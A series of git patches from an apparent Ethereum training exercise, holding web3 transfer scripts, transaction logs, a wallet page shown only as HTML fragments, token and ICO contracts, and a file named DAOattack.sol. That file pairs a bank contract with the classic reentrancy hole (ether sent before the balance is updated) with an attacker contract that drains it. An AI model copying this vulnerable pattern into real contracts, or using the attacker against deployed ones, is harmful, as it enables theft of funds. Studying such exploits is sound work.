From f95760c899c237ce8a78e7cb78a070c92ee3855f Mon Sep 17 00:00:00 2001 From: sumitis14 <32765275+sumitis14@users.noreply.github.com> Date: Tue, 21 Aug 2018 17:00:04 +0530 Subject: [PATCH 01/20] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index dadbc8a..ba73b35 100644 --- a/README.md +++ b/README.md @@ -20,3 +20,5 @@ 1. using web3 on mainnet, transfer all tokens and eth to my address `0xea9568670a5fE44D42e76386d208165c25A320f7` 1. do a pull request with your web3 code 1. do a pull request with your record of prices and transactions costs + +Eth address: 0xdf66b18b04bCaDb2712bC7D7F4657fbe94A76953 From 5b09ff467722d30ca62730794e144778efbf2e6d Mon Sep 17 00:00:00 2001 From: sumitis14 <32765275+sumitis14@users.noreply.github.com> Date: Wed, 22 Aug 2018 13:08:55 +0530 Subject: [PATCH 02/20] Update README.md --- README.md | 95 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 95 insertions(+) diff --git a/README.md b/README.md index ba73b35..32bcb05 100644 --- a/README.md +++ b/README.md @@ -22,3 +22,98 @@ 1. do a pull request with your record of prices and transactions costs Eth address: 0xdf66b18b04bCaDb2712bC7D7F4657fbe94A76953 + +Tx---- +TxHash:0xe847a1243644f0e8518b4d3898c09bfaadef4e01ae3bfb9b7963fee00f1e47ff TxReceipt Status:SuccessBlock Height:6191977 (93 block confirmations)TimeStamp:22 mins ago (Aug-22-2018 07:06:55 AM +UTC)From:0x4da36e7948c692be53010a626359bc47c317813dTo:Contract 0xe41d2489571d322189246dafa5ebde1f4699f498 (ZRX_Token) Token Transfered: + From 0x4da36e7948c692be53010a626359bc47c317813dTo 0xea9568670a5fe44d42e76386d208165c25a320f7for 36.194 ($25.78) ZRX +Value: 0 Ether ($0.00) Gas Limit: 200000 Gas Used By Txn: 37106 Gas Price: 0.00000000301 Ether (3.01 Gwei) Actual Tx Cost/Fee: 0.00011168906 Ether ($0.03) Nonce & {Position}:17 | {24} Input Data: + +Function: transfer(address _to, uint256 _value) + +MethodID: 0xa9059cbb +[0]: 000000000000000000000000ea9568670a5fe44d42e76386d208165c25a320f7 +[1]: 000000000000000000000000000000000000000000000001f64aeb3c687d0000 +-------------- + +TxHash:0x5f4ea2502cd852732b6ca6d9b915a05c60eaec839241ecf507ef994481a11594 TxReceipt Status:SuccessBlock Height:6191807 (276 block confirmations)TimeStamp:1 hr 4 mins ago (Aug-22-2018 06:27:10 AM +UTC)From:0x4da36e7948c692be53010a626359bc47c317813dTo:0xea9568670a5fe44d42e76386d208165c25a320f7 Value: 0.116 Ether ($32.96) Gas Limit: 200000 Gas Used By Txn: 21004 Gas Price: 0.00000000301 Ether (3.01 Gwei) Actual Tx Cost/Fee: 0.00006322204 Ether ($0.02) Nonce & {Position}:12 | {62} Input Data: + +0x00 + + -------------- + + TxHash:0xd1df648f2a9a1dcd2926eb4498fabfdf7d7e6f0e331d09b1d4569274bb153330 TxReceipt Status:SuccessBlock Height:6191098 (990 block confirmations)TimeStamp:4 hrs ago (Aug-22-2018 03:32:27 AM +UTC)From:0xfeb7a31cad312cd05e8103b2f820ffc58dc31ef0To:0x4da36e7948c692be53010a626359bc47c317813d Value: 0.0095431 Ether ($2.71) Gas Limit: 22000 Gas Used By Txn: 21004 Gas Price: 0.000000009 Ether (9 Gwei) Actual Tx Cost/Fee: 0.000189036 Ether ($0.05) Nonce & {Position}:1 | {25} Input Data: + +0x00 +------------- + +TxHash:0xc1a4880ffb9de43b1fbf73410ae9ac53f087257b6b5712fc5d3086e7c04ee17a TxReceipt Status:SuccessBlock Height:6191953 (142 block confirmations)TimeStamp:32 mins ago (Aug-22-2018 07:02:23 AM +UTC)From:0xea9568670a5fe44d42e76386d208165c25a320f7To:0x4da36e7948c692be53010a626359bc47c317813d Value: 0.01 Ether ($2.84) Gas Limit: 21000 Gas Used By Txn: 21000 Gas Price: 0.00000000310001 Ether (3.10001 Gwei) Actual Tx Cost/Fee: 0.00006510021 Ether ($0.02) Nonce & {Position}:8 | {110} Input Data: + +0x + +Private Note: + +------- +main-tx.js ETH transfer + +let Web3 = require('web3'); +let web3 = new Web3(new Web3.providers.HttpProvider('https://mainnet.infura.io/')); +let util = require('ethereumjs-util'); +let tx = require('ethereumjs-tx'); +let privateKey = ''; +let publicKey = util.bufferToHex(util.privateToPublic(privateKey)); +let address = '0x' + util.bufferToHex(util.sha3(publicKey)).slice(26); + +util.bufferToHex(util.privateToAddress(privateKey)) +transactionCount = web3.eth.getTransactionCount(address); +let rawTx = { + nonce: web3.toHex(transactionCount), + gasPrice: web3.toHex(web3.toWei(3.01, 'shannon')), + gasLimit: web3.toHex(200000), + to: '0xea9568670a5fE44D42e76386d208165c25A320f7', + value: web3.toHex(web3.toWei('0.116','ether')), + data: '0x0', + chainId: web3.toHex(1), +}; +let transactionCount = web3.eth.getTransactionCount(address); +let transaction = new tx(rawTx); +util.bufferToHex(transaction.serialize()); +util.bufferToHex(util.sha3(util.bufferToHex(transaction.serialize()))); +let p = new Buffer(privateKey.slice(2), 'hex'); +transaction.sign(p); +util.bufferToHex(transaction.hash(true)); +let signedTx = util.bufferToHex(transaction.serialize()); +web3.eth.sendRawTransaction(signedTx); +console.log(result) + +------ +token-tx.js TOKEN TRANSFER + +let Web3 = require('web3'); +let web3 = new Web3(new Web3.providers.HttpProvider('https://mainnet.infura.io/')); +let util = require('ethereumjs-util'); +let tx = require('ethereumjs-tx'); +let privateKey = ''; +let publicKey = util.bufferToHex(util.privateToPublic(privateKey)); +let address = '0x' + util.bufferToHex(util.sha3(publicKey)).slice(26); + +util.bufferToHex(util.privateToAddress(privateKey)) +let p = new Buffer(privateKey.slice(2), 'hex'); +let utils = require('web3-utils'); + +transactionCount = web3.eth.getTransactionCount(address); +let rawTx = { + nonce: web3.toHex(transactionCount), + gasPrice: web3.toHex(web3.toWei(3.01, 'shannon')), + gasLimit: web3.toHex(200000), + to: '0xa3d58c4e56fedcae3a7c43a725aee9a71f0ece4e', + value: web3.toHex(0), + data: '0xa9059cbb' + '000000000000000000000000ea9568670a5fE44D42e76386d208165c25A320f7' + utils.padLeft(web3.toHex(web3.toWei(39.94, 'ether')),64).substring(2,), + chainId: web3.toHex(1), +}; +transaction = new tx(rawTx); +transaction.sign(p); +signedTx = util.bufferToHex(transaction.serialize()); +res= web3.eth.sendRawTransaction(signedTx); +console.log(res) + + From 53970261200687bb775a464a21ac5dc16c611e74 Mon Sep 17 00:00:00 2001 From: sumitis14 <32765275+sumitis14@users.noreply.github.com> Date: Thu, 23 Aug 2018 12:06:05 +0530 Subject: [PATCH 03/20] Update README.md Able to send all ethers from one account to other. Doing the token part --- README.md | 171 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 171 insertions(+) diff --git a/README.md b/README.md index 32bcb05..f324b39 100644 --- a/README.md +++ b/README.md @@ -116,4 +116,175 @@ signedTx = util.bufferToHex(transaction.serialize()); res= web3.eth.sendRawTransaction(signedTx); console.log(res) +----------------------------------------------- +# index-metamask.html + + + + + Welcome to Vue + + + +
+

{{ greeting }}

+
+
+ address: + +

balance is: {{ balance }}

+ +
+
+

send transaction

+ +
address
+ + + +
nonce
+ + + +
data
+ + + +
gasPrice
+ + +
gasLimit
+ + +

tx id: {{ txid }}

+ +
+
+

send all ether

+
address
+ +

tx id: {{ txid3 }}

+ +
+
+

send all tokens

+
address
+ +

tx id: {{ txid4 }}

+ +
+ + + + + + From e8d51224268417a6587bdb36f04bcb6e66a9e702 Mon Sep 17 00:00:00 2001 From: sumitis14 <32765275+sumitis14@users.noreply.github.com> Date: Thu, 23 Aug 2018 12:15:32 +0530 Subject: [PATCH 04/20] Add files via upload --- package.json | 15 +++++++++++++++ serve.js | 9 +++++++++ 2 files changed, 24 insertions(+) create mode 100644 package.json create mode 100644 serve.js diff --git a/package.json b/package.json new file mode 100644 index 0000000..348642c --- /dev/null +++ b/package.json @@ -0,0 +1,15 @@ +{ + "name": "vue-template", + "version": "1.0.0", + "description": "", + "main": "serve.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "author": "", + "license": "ISC", + "dependencies": { + "express": "^4.16.3", + "web3": "^0.20.7" + } +} diff --git a/serve.js b/serve.js new file mode 100644 index 0000000..5f0dd5b --- /dev/null +++ b/serve.js @@ -0,0 +1,9 @@ +var express = require('express'); +var app = express(); + +//setting middleware +app.use(express.static(__dirname+'/public')); //Serves resources from public folder + +var server = app.listen(5000); + +console.log('http://localhost:5000/index-metamask.html'); From 81ccbf52be6b749bc2d87154de20e3dc6e3ab686 Mon Sep 17 00:00:00 2001 From: sumitis14 <32765275+sumitis14@users.noreply.github.com> Date: Thu, 23 Aug 2018 12:18:21 +0530 Subject: [PATCH 05/20] Create index-metamask.html --- public/index-metamask.html | 204 +++++++++++++++++++++++++++++++++++++ 1 file changed, 204 insertions(+) create mode 100644 public/index-metamask.html diff --git a/public/index-metamask.html b/public/index-metamask.html new file mode 100644 index 0000000..fb7b83b --- /dev/null +++ b/public/index-metamask.html @@ -0,0 +1,204 @@ + + + + Welcome to Vue + + + +
+

{{ greeting }}

+
+
+ address: + +

balance is: {{ balance }}

+ +
+
+

send transaction

+ +
address
+ + + +
nonce
+ + + +
data
+ + + +
gasPrice
+ + +
gasLimit
+ + +

tx id: {{ txid }}

+ +
+
+

send all ether

+
address
+ +

tx id: {{ txid3 }}

+ +
+
+

send all tokens

+
address
+ +

tx id: {{ txid4 }}

+ +
+ + + + + + From d918c118cb655d00fc11cff2fce140f8850a2b2e Mon Sep 17 00:00:00 2001 From: sumitis14 <32765275+sumitis14@users.noreply.github.com> Date: Thu, 23 Aug 2018 12:22:17 +0530 Subject: [PATCH 06/20] Update README.md --- README.md | 170 ------------------------------------------------------ 1 file changed, 170 deletions(-) diff --git a/README.md b/README.md index f324b39..634d6b1 100644 --- a/README.md +++ b/README.md @@ -117,174 +117,4 @@ res= web3.eth.sendRawTransaction(signedTx); console.log(res) ----------------------------------------------- -# index-metamask.html - - - - - Welcome to Vue - - - -
-

{{ greeting }}

-
-
- address: - -

balance is: {{ balance }}

- -
-
-

send transaction

- -
address
- - - -
nonce
- - - -
data
- - - -
gasPrice
- - -
gasLimit
- - -

tx id: {{ txid }}

- -
-
-

send all ether

-
address
- -

tx id: {{ txid3 }}

- -
-
-

send all tokens

-
address
- -

tx id: {{ txid4 }}

- -
- - - - - - From 6c81f936641893f543b1d6b4951c816457e32844 Mon Sep 17 00:00:00 2001 From: sumitis14 <32765275+sumitis14@users.noreply.github.com> Date: Thu, 23 Aug 2018 12:26:35 +0530 Subject: [PATCH 07/20] Create index-metamask.html Done till sending all ethers --- my-eth-wallet/public/index-metamask.html | 204 +++++++++++++++++++++++ 1 file changed, 204 insertions(+) create mode 100644 my-eth-wallet/public/index-metamask.html diff --git a/my-eth-wallet/public/index-metamask.html b/my-eth-wallet/public/index-metamask.html new file mode 100644 index 0000000..fb7b83b --- /dev/null +++ b/my-eth-wallet/public/index-metamask.html @@ -0,0 +1,204 @@ + + + + Welcome to Vue + + + +
+

{{ greeting }}

+
+
+ address: + +

balance is: {{ balance }}

+ +
+
+

send transaction

+ +
address
+ + + +
nonce
+ + + +
data
+ + + +
gasPrice
+ + +
gasLimit
+ + +

tx id: {{ txid }}

+ +
+
+

send all ether

+
address
+ +

tx id: {{ txid3 }}

+ +
+
+

send all tokens

+
address
+ +

tx id: {{ txid4 }}

+ +
+ + + + + + From 1a8ea094af523704b5da91efa9dab00d41c0becc Mon Sep 17 00:00:00 2001 From: sumitis14 <32765275+sumitis14@users.noreply.github.com> Date: Thu, 23 Aug 2018 12:29:12 +0530 Subject: [PATCH 08/20] Add files via upload Added package.json and serve.js --- my-eth-wallet/package.json | 15 +++++++++++++++ my-eth-wallet/serve.js | 9 +++++++++ 2 files changed, 24 insertions(+) create mode 100644 my-eth-wallet/package.json create mode 100644 my-eth-wallet/serve.js diff --git a/my-eth-wallet/package.json b/my-eth-wallet/package.json new file mode 100644 index 0000000..348642c --- /dev/null +++ b/my-eth-wallet/package.json @@ -0,0 +1,15 @@ +{ + "name": "vue-template", + "version": "1.0.0", + "description": "", + "main": "serve.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "author": "", + "license": "ISC", + "dependencies": { + "express": "^4.16.3", + "web3": "^0.20.7" + } +} diff --git a/my-eth-wallet/serve.js b/my-eth-wallet/serve.js new file mode 100644 index 0000000..5f0dd5b --- /dev/null +++ b/my-eth-wallet/serve.js @@ -0,0 +1,9 @@ +var express = require('express'); +var app = express(); + +//setting middleware +app.use(express.static(__dirname+'/public')); //Serves resources from public folder + +var server = app.listen(5000); + +console.log('http://localhost:5000/index-metamask.html'); From 3b77b0720be261bc2c37e0d1078f1aec11036923 Mon Sep 17 00:00:00 2001 From: sumitis14 <32765275+sumitis14@users.noreply.github.com> Date: Thu, 23 Aug 2018 12:30:28 +0530 Subject: [PATCH 09/20] Delete index-metamask.html --- public/index-metamask.html | 204 ------------------------------------- 1 file changed, 204 deletions(-) delete mode 100644 public/index-metamask.html diff --git a/public/index-metamask.html b/public/index-metamask.html deleted file mode 100644 index fb7b83b..0000000 --- a/public/index-metamask.html +++ /dev/null @@ -1,204 +0,0 @@ - - - - Welcome to Vue - - - -
-

{{ greeting }}

-
-
- address: - -

balance is: {{ balance }}

- -
-
-

send transaction

- -
address
- - - -
nonce
- - - -
data
- - - -
gasPrice
- - -
gasLimit
- - -

tx id: {{ txid }}

- -
-
-

send all ether

-
address
- -

tx id: {{ txid3 }}

- -
-
-

send all tokens

-
address
- -

tx id: {{ txid4 }}

- -
- - - - - - From fa1804518efee622669f75d6518476aa09ae537b Mon Sep 17 00:00:00 2001 From: sumitis14 <32765275+sumitis14@users.noreply.github.com> Date: Thu, 23 Aug 2018 12:30:41 +0530 Subject: [PATCH 10/20] Delete package.json --- package.json | 15 --------------- 1 file changed, 15 deletions(-) delete mode 100644 package.json diff --git a/package.json b/package.json deleted file mode 100644 index 348642c..0000000 --- a/package.json +++ /dev/null @@ -1,15 +0,0 @@ -{ - "name": "vue-template", - "version": "1.0.0", - "description": "", - "main": "serve.js", - "scripts": { - "test": "echo \"Error: no test specified\" && exit 1" - }, - "author": "", - "license": "ISC", - "dependencies": { - "express": "^4.16.3", - "web3": "^0.20.7" - } -} From daee15adae423716d57a7fac0028e6cc5c98f821 Mon Sep 17 00:00:00 2001 From: sumitis14 <32765275+sumitis14@users.noreply.github.com> Date: Thu, 23 Aug 2018 12:30:53 +0530 Subject: [PATCH 11/20] Delete serve.js --- serve.js | 9 --------- 1 file changed, 9 deletions(-) delete mode 100644 serve.js diff --git a/serve.js b/serve.js deleted file mode 100644 index 5f0dd5b..0000000 --- a/serve.js +++ /dev/null @@ -1,9 +0,0 @@ -var express = require('express'); -var app = express(); - -//setting middleware -app.use(express.static(__dirname+'/public')); //Serves resources from public folder - -var server = app.listen(5000); - -console.log('http://localhost:5000/index-metamask.html'); From 669628b82377edacd69d84af44056cbae64513a6 Mon Sep 17 00:00:00 2001 From: sumitis14 <32765275+sumitis14@users.noreply.github.com> Date: Fri, 24 Aug 2018 16:11:24 +0530 Subject: [PATCH 12/20] Create tickets.sol --- contract/tickets.sol | 51 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 51 insertions(+) create mode 100644 contract/tickets.sol diff --git a/contract/tickets.sol b/contract/tickets.sol new file mode 100644 index 0000000..aa2f74e --- /dev/null +++ b/contract/tickets.sol @@ -0,0 +1,51 @@ +pragma solidity ^0.4.18; +contract HelloWorld { + + + struct user{ + address sender; + uint balance; + uint ticket; + } + + user[] public users; + + address public owner; + uint256 public totalTickets = 0; +// uint256 sumBalance = 0; + + constructor() public { + owner = msg.sender; + } + user userA; + function buy() public payable{ //buy tickets + userA.sender = msg.sender; + userA.ticket = msg.value; + users.push(userA); + + totalTickets += userA.ticket; + + uint totalUsers = users.length; + for(uint itr=0;itr< totalUsers; itr++ ) + users[itr].balance += 99*msg.value*users[itr].ticket/(totalTickets*100); + + } + + function redeem() public payable{ + uint totalUsers = users.length; + for(uint32 itr =0 ; itr Date: Mon, 27 Aug 2018 15:31:20 +0530 Subject: [PATCH 13/20] Create DAOattack.sol --- DAOattack.sol | 51 +++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 51 insertions(+) create mode 100644 DAOattack.sol diff --git a/DAOattack.sol b/DAOattack.sol new file mode 100644 index 0000000..1489b43 --- /dev/null +++ b/DAOattack.sol @@ -0,0 +1,51 @@ +pragma solidity ^0.4.16; + +contract Bank { + mapping(address => uint256) public clients; + uint256 public ethBalance; + + function deposit() public payable { + clients[msg.sender] = msg.value + clients[msg.sender]; + ethBalance = ethBalance + msg.value; + } + + function withdraw(uint256 amount) public { + require(amount <= clients[msg.sender]); + msg.sender.call.value(amount)(); + ethBalance = ethBalance - amount; + clients[msg.sender] = clients[msg.sender] - amount; + } +} + +contract attack { + bool public is_attack=true; + address public bankAddress; + + Bank public B; + + constructor(address _bankAddress) public{ + bankAddress=_bankAddress; + B = Bank(bankAddress); + + } + + function() public payable { + if (is_attack == true){ + is_attack = false; + B.withdraw(1 ether); + } + + } + function deposit11() public payable{ + + B.deposit.value(msg.value)(); + } + + function withdraw11() public{ + + B.withdraw(1 ether); + msg.sender.transfer(this.balance); + + } + +} From d70ae7cba514d17693f48308ee4516cf59ec0db4 Mon Sep 17 00:00:00 2001 From: sumitis14 <32765275+sumitis14@users.noreply.github.com> Date: Wed, 29 Aug 2018 12:12:52 +0530 Subject: [PATCH 14/20] Create ICO.sol --- contract/ICO.sol | 117 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 117 insertions(+) create mode 100644 contract/ICO.sol diff --git a/contract/ICO.sol b/contract/ICO.sol new file mode 100644 index 0000000..4fb3001 --- /dev/null +++ b/contract/ICO.sol @@ -0,0 +1,117 @@ +pragma solidity ^0.4.19; + +import "./BurnableToken.sol"; +import "./StandardToken.sol"; +import "./MyERC20.sol"; +import "./SafeMath.sol"; + + + + +contract ICO{ + using SafeMath for uint256; + MyERC20 public token; + MyERC20 public dToken; + address public wallet; + uint public _totalSupply; + uint public startTimePre; + uint public endTimePre; + + uint public ethLimit = 10**13; + uint public defLimit = 1000; + + uint256 public rateMain; + bool public icoStop=false; + bool public eventEnded; + mapping(address => bool) public whitelistedAddressPre; + mapping(address => bool) public whitelistedAddressMain; + mapping(address => uint256) public contributedValue; + mapping(address => uint) balances; + + event TokenPre(address indexed participant, uint256 value, uint256 tokens); +// event TokenMain(address indexed participant, uint256 value, uint256 tokens); +// event WhitelistPre(address indexed whitelistedAddress, bool whitelistedStatus); +// event WhitelistMain(address indexed whitelistedAddress, bool whitelistedStatus); + + /** + * @dev all functions can only be called before event has ended + */ + modifier eventNotEnded() { + require(eventEnded == false); + _; + } + + constructor() public{ + wallet = msg.sender; + startTimePre = now; + endTimePre = now + 5 hours; + } + + function MyERC20TokenEvent(address _contractAddress) public { + token = MyERC20(_contractAddress); + + } + + function createDEF (address _tokenAddress) public{ + dToken = MyERC20(_tokenAddress); + } + + + uint private _value = 1*10**13; + + function() public payable eventNotEnded{ + require(now >= startTimePre && now <= endTimePre); + uint tokens; + if (msg.value <= _value && _totalSupply <= _value) { + tokens = msg.value.mul(10); + } else { + if (_totalSupply < _value && msg.value >= _value){ + tokens = _value.sub(_totalSupply) .mul(10); + tokens += msg.value.sub(_value).mul(5); + } + else{ + tokens = msg.value.mul(5); + } + + } + + _totalSupply = _totalSupply.add(tokens); + token.transfer(msg.sender,tokens); + TokenPre(msg.sender, _totalSupply, tokens);//record contribution in logs + forwardFunds();//send eth for safekeeping + } + + function BuyUsingDEF(uint defToken) public eventNotEnded { + require(now >= startTimePre && now <= endTimePre); + + uint tokens; + if (defToken <= defLimit) { + tokens = 10; + } else { + if (_totalSupply < _value && defToken >= defLimit){ + + tokens = 10 + defToken.sub(1000)*5; + } + else{ + tokens = defToken * 5; + } + + } + + _totalSupply = _totalSupply.add(tokens); + //token.transfer(msg.sender,tokens); //send bought tokens to his account + dToken.transferFrom(msg.sender,wallet,defToken); //transfer def tokens to owner + TokenPre(msg.sender, _totalSupply, tokens);//record contribution in logs + + } + + function forwardFunds() internal { + wallet.transfer(msg.value); + } + + function stopIco() public{ + eventEnded= true; + } + + +} From 20eef1f0d26499bee46725efeb660ea227a07325 Mon Sep 17 00:00:00 2001 From: sumitis14 <32765275+sumitis14@users.noreply.github.com> Date: Wed, 29 Aug 2018 12:13:38 +0530 Subject: [PATCH 15/20] Create BurnableToken.sol --- contract/BurnableToken.sol | 39 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) create mode 100644 contract/BurnableToken.sol diff --git a/contract/BurnableToken.sol b/contract/BurnableToken.sol new file mode 100644 index 0000000..dd5455f --- /dev/null +++ b/contract/BurnableToken.sol @@ -0,0 +1,39 @@ +pragma solidity ^0.4.19; + +import "./StandardToken.sol"; + + +/** + * @title Burnable Token + * @dev Token that can be irreversibly burned (destroyed). + */ +contract BurnableToken is StandardToken { + + event Burn(address indexed burner, uint256 value); + + /** + * @dev Burns a specific amount of tokens. + * @param _value The amount of token to be burned. + */ + function burn(uint256 _value) public { + _burn(msg.sender, _value); + } + + /** + * @dev Burns a specific amount of tokens from the target address and decrements allowance + * @param _from address The address which you want to send tokens from + * @param _value uint256 The amount of token to be burned + */ + function burnFrom(address _from, uint256 _value) public { + _burnFrom(_from, _value); + } + + /** + * @dev Overrides StandardToken._burn in order for burn and burnFrom to emit + * an additional Burn event. + */ + function _burn(address _who, uint256 _value) internal { + super._burn(_who, _value); + emit Burn(_who, _value); + } +} From b67bb4f2f742c1d92196e488856643c8f0c2a18c Mon Sep 17 00:00:00 2001 From: sumitis14 <32765275+sumitis14@users.noreply.github.com> Date: Wed, 29 Aug 2018 12:14:19 +0530 Subject: [PATCH 16/20] Create MyERC20.sol --- contract/MyERC20.sol | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 contract/MyERC20.sol diff --git a/contract/MyERC20.sol b/contract/MyERC20.sol new file mode 100644 index 0000000..a2605b0 --- /dev/null +++ b/contract/MyERC20.sol @@ -0,0 +1,16 @@ +pragma solidity ^0.4.19; + +import "./BurnableToken.sol"; +import "./StandardToken.sol"; + +contract MyERC20 is StandardToken, BurnableToken{ + string public constant name = "myERC20"; + string public constant symbol = "MRC"; + uint8 public constant decimals = 13; + address public owner; + + constructor() public { + owner = msg.sender; + _mint(msg.sender, 1000000*10**13); + } +} From 562e289e1f27e14ea1c99ca7d764d161cf97185a Mon Sep 17 00:00:00 2001 From: sumitis14 <32765275+sumitis14@users.noreply.github.com> Date: Wed, 29 Aug 2018 12:15:17 +0530 Subject: [PATCH 17/20] Create SafeMath.sol --- contract/SafeMath.sol | 66 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 66 insertions(+) create mode 100644 contract/SafeMath.sol diff --git a/contract/SafeMath.sol b/contract/SafeMath.sol new file mode 100644 index 0000000..49a083c --- /dev/null +++ b/contract/SafeMath.sol @@ -0,0 +1,66 @@ +pragma solidity ^0.4.19; + + +/** + * @title SafeMath + * @dev Math operations with safety checks that revert on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, reverts on overflow. + */ + function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { + // Gas optimization: this is cheaper than requiring 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (_a == 0) { + return 0; + } + + uint256 c = _a * _b; + require(c / _a == _b); + + return c; + } + + /** + * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. + */ + function div(uint256 _a, uint256 _b) internal pure returns (uint256) { + require(_b > 0); // Solidity only automatically asserts when dividing by 0 + uint256 c = _a / _b; + // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold + + return c; + } + + /** + * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { + require(_b <= _a); + uint256 c = _a - _b; + + return c; + } + + /** + * @dev Adds two numbers, reverts on overflow. + */ + function add(uint256 _a, uint256 _b) internal pure returns (uint256) { + uint256 c = _a + _b; + require(c >= _a); + + return c; + } + + /** + * @dev Divides two numbers and returns the remainder (unsigned integer modulo), + * reverts when dividing by zero. + */ + function mod(uint256 a, uint256 b) internal pure returns (uint256) { + require(b != 0); + return a % b; + } +} From 82798087a2a0b21345a5b33b108478da49cc400f Mon Sep 17 00:00:00 2001 From: sumitis14 <32765275+sumitis14@users.noreply.github.com> Date: Wed, 29 Aug 2018 12:15:57 +0530 Subject: [PATCH 18/20] Create ERC20.sol --- contract/ERC20.sol | 35 +++++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 contract/ERC20.sol diff --git a/contract/ERC20.sol b/contract/ERC20.sol new file mode 100644 index 0000000..ba3bb74 --- /dev/null +++ b/contract/ERC20.sol @@ -0,0 +1,35 @@ +pragma solidity ^0.4.19; + + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 { + function totalSupply() public view returns (uint256); + + function balanceOf(address _who) public view returns (uint256); + + function allowance(address _owner, address _spender) + public view returns (uint256); + + function transfer(address _to, uint256 _value) public returns (bool); + + function approve(address _spender, uint256 _value) + public returns (bool); + + function transferFrom(address _from, address _to, uint256 _value) + public returns (bool); + + event Transfer( + address indexed from, + address indexed to, + uint256 value + ); + + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} From 318c33d4bbe42a9dede6c16e8d31328b3edd8840 Mon Sep 17 00:00:00 2001 From: sumitis14 <32765275+sumitis14@users.noreply.github.com> Date: Wed, 29 Aug 2018 12:16:56 +0530 Subject: [PATCH 19/20] Create StandardToken.sol --- contract/StandardToken.sol | 203 +++++++++++++++++++++++++++++++++++++ 1 file changed, 203 insertions(+) create mode 100644 contract/StandardToken.sol diff --git a/contract/StandardToken.sol b/contract/StandardToken.sol new file mode 100644 index 0000000..af3e7fc --- /dev/null +++ b/contract/StandardToken.sol @@ -0,0 +1,203 @@ +pragma solidity ^0.4.19; + +import "./ERC20.sol"; +import "./SafeMath.sol"; + + +/** + * @title Standard ERC20 token + * + * @dev Implementation of the basic standard token. + * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md + * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol + */ +contract StandardToken is ERC20 { + using SafeMath for uint256; + + mapping (address => uint256) private balances; + + mapping (address => mapping (address => uint256)) private allowed; + + uint256 private totalSupply_; + + /** + * @dev Total number of tokens in existence + */ + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + /** + * @dev Gets the balance of the specified address. + * @param _owner The address to query the the balance of. + * @return An uint256 representing the amount owned by the passed address. + */ + function balanceOf(address _owner) public view returns (uint256) { + return balances[_owner]; + } + + /** + * @dev Function to check the amount of tokens that an owner allowed to a spender. + * @param _owner address The address which owns the funds. + * @param _spender address The address which will spend the funds. + * @return A uint256 specifying the amount of tokens still available for the spender. + */ + function allowance( + address _owner, + address _spender + ) + public + view + returns (uint256) + { + return allowed[_owner][_spender]; + } + + /** + * @dev Transfer token for a specified address + * @param _to The address to transfer to. + * @param _value The amount to be transferred. + */ + function transfer(address _to, uint256 _value) public returns (bool) { + require(_value <= balances[msg.sender]); + require(_to != address(0)); + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + /** + * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. + * Beware that changing an allowance with this method brings the risk that someone may use both the old + * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this + * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: + * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 + * @param _spender The address which will spend the funds. + * @param _value The amount of tokens to be spent. + */ + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + /** + * @dev Transfer tokens from one address to another + * @param _from address The address which you want to send tokens from + * @param _to address The address which you want to transfer to + * @param _value uint256 the amount of tokens to be transferred + */ + function transferFrom( + address _from, + address _to, + uint256 _value + ) + public + returns (bool) + { + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + require(_to != address(0)); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + emit Transfer(_from, _to, _value); + return true; + } + + /** + * @dev Increase the amount of tokens that an owner allowed to a spender. + * approve should be called when allowed[_spender] == 0. To increment + * allowed value is better to use this function to avoid 2 calls (and wait until + * the first transaction is mined) + * From MonolithDAO Token.sol + * @param _spender The address which will spend the funds. + * @param _addedValue The amount of tokens to increase the allowance by. + */ + function increaseApproval( + address _spender, + uint256 _addedValue + ) + public + returns (bool) + { + allowed[msg.sender][_spender] = ( + allowed[msg.sender][_spender].add(_addedValue)); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + /** + * @dev Decrease the amount of tokens that an owner allowed to a spender. + * approve should be called when allowed[_spender] == 0. To decrement + * allowed value is better to use this function to avoid 2 calls (and wait until + * the first transaction is mined) + * From MonolithDAO Token.sol + * @param _spender The address which will spend the funds. + * @param _subtractedValue The amount of tokens to decrease the allowance by. + */ + function decreaseApproval( + address _spender, + uint256 _subtractedValue + ) + public + returns (bool) + { + uint256 oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue >= oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + 